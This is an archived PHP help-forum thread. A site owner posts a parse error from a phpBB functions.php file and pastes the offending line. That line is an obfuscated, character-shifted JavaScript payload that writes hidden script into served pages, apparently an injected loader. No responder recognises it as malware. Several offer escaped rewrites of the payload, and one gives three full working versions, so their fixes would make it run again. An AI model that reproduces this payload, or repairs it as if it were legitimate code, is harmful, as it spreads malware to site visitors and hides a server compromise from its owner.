Serrith123 Posted June 10, 2008 Share Posted June 10, 2008 Hey everyone. My forum worked perfectly until a few days ago. It just started saying this everytime we tried to access the page. Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in C:\Inetpub\vhosts\serrith.com\httpdocs\forum\includes\functions.php on line 1899 Below I pasted what line 1899 is. Any help would be greatly appreciated. moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20 %7%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F %32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D %1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%2F%3B%1E%2D%2F%1E %2F%2B%1E%30%29%1E%2C%2B%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B %3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31 %1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E %2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C %3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>'; Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/ Share on other sites More sharing options...
jesushax Posted June 10, 2008 Share Posted June 10, 2008 whats on line 1898? does line 1898 end with a ; ? if not add one and reupload Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-561850 Share on other sites More sharing options...
Serrith123 Posted June 11, 2008 Author Share Posted June 11, 2008 Here is the lines around it. 1897 - document.write(unescape(t)); 1898 - }; ? 1899 - moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43 %5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B %62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F %2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B %1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E %2C%3A%1E%2B%3F%1E%2B%3F%1E%2F%3B%1E%2D%2F%1E%2F%2B%1E%30%29%1E%2C %2B%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31 %1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E %2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F %31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29 %1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E %2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>'; 1900 - echo '<div style="text-align: center;">' . sprintf($user->lang['URL_REDIRECT'], '<a href="' . str_replace('&', '&', $url) . '">', '</a>') . '</div>'; 1901 - echo '</body>'; Thanks again for any help. Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-563016 Share on other sites More sharing options...
jesushax Posted June 11, 2008 Share Posted June 11, 2008 get rid of that question mark on 1898 or did you put that there? Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-563020 Share on other sites More sharing options...
conker87 Posted June 11, 2008 Share Posted June 11, 2008 You don't need a ; after a } Also, this line looks wrong: 1899 - moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43 %5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B %62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F %2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B %1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E %2C%3A%1E%2B%3F%1E%2B%3F%1E%2F%3B%1E%2D%2F%1E%2F%2B%1E%30%29%1E%2C %2B%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31 %1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E %2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F %31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29 %1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E %2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>'; Move the script down a line and echo it. Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-563023 Share on other sites More sharing options...
PFMaBiSmAd Posted June 11, 2008 Share Posted June 11, 2008 Part of that code is javascript that appears like it is being echoed by php. My guess is a short open tag problem. Please post at least the 10 lines of code before the lines you are posting. Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-563243 Share on other sites More sharing options...
Serrith123 Posted June 11, 2008 Author Share Posted June 11, 2008 Thank you for everyone's help. Here is the code starting at 1882. I didn't change anything, so I don't know why it would just all of a sudden stop working. And here is the error again: Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in C:\Inetpub\vhosts\serrith.com\httpdocs\forum\includes\functions.php on line 1899 <?php // Redirect via an HTML form for PITA webservers if (@preg_match('#Microsoft|WebSTAR|Xitami#', getenv('SERVER_SOFTWARE'))) { header('Refresh: 0; URL=' . $url); echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'; echo '<html xmlns="http://www.w3.org/1999/xhtml" dir="' . $user->lang['DIRECTION'] . '" lang="' . $user->lang['USER_LANG'] . '" xml:lang="' . $user->lang['USER_LANG'] . '">'; echo '<head>'; echo '<meta http-equiv="content-type" content="text/html; charset=utf-8" />'; echo '<meta http-equiv="refresh" content="0; url=' . str_replace('&', '&', $url) . '" />'; echo '<title>' . $user->lang['REDIRECT'] . '</title>'; echo '</head>'; echo '<body><script language = "javascript">function moving(s){ var s1=unescape(s.substr(0,s.length)); var t=''; for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7); document.write(unescape(t)); } moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%2F%3B%1E%2D%2F%1E%2F%2B%1E%30%29%1E%2C%2B%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>'; echo '<div style="text-align: center;">' . sprintf($user->lang['URL_REDIRECT'], '<a href="' . str_replace('&', '&', $url) . '">', '</a>') . '</div>'; echo '</body>'; echo '</html>'; exit; ?> (edited by kenrbnsn to add the tags) Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-563500 Share on other sites More sharing options...
DarkWater Posted June 11, 2008 Share Posted June 11, 2008 Make it: moving(\'ALL THAT STUFF\'); Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-563506 Share on other sites More sharing options...
kenrbnsn Posted June 11, 2008 Share Posted June 11, 2008 It's very unlikely that this code ever worked. You are using the single quote to delimit the string in your echo. In that string there are other single quotes which are not escaped, so the echo is ending early. Change that line to be either: <?php echo '<body><script language = "javascript">function moving(s){ var s1=unescape(s.substr(0,s.length)); var t=\'\'; for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7); document.write(unescape(t)); } moving(\'%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%2F%3B%1E%2D%2F%1E%2F%2B%1E%30%29%1E%2C%2B%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37\'); </script>'; ?> or <?php echo '<body><script language = "javascript">' . "function moving(s){ var s1=unescape(s.substr(0,s.length)); var t=''; for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7); document.write(unescape(t)); } moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%2F%3B%1E%2D%2F%1E%2F%2B%1E%30%29%1E%2C%2B%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>"; ?> or just leave PHP, leave that text in plain text in your file and then re-enter PHP: <?php ?> <body><script language = "javascript">function moving(s){ var s1=unescape(s.substr(0,s.length)); var t=''; for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7); document.write(unescape(t)); } moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%2F%3B%1E%2D%2F%1E%2F%2B%1E%30%29%1E%2C%2B%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script> <?php // rest of your code ?> Looking at that chunk of code further, you have a header() function just before the chunk, which will redirect your script to another URL and the browser won't even get to the code following the header(). Link to comment https://forums.phpfreaks.com/topic/109529-forum-used-to-work-greatjust-stopped-and-gave-me-this-error/#findComment-563507 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.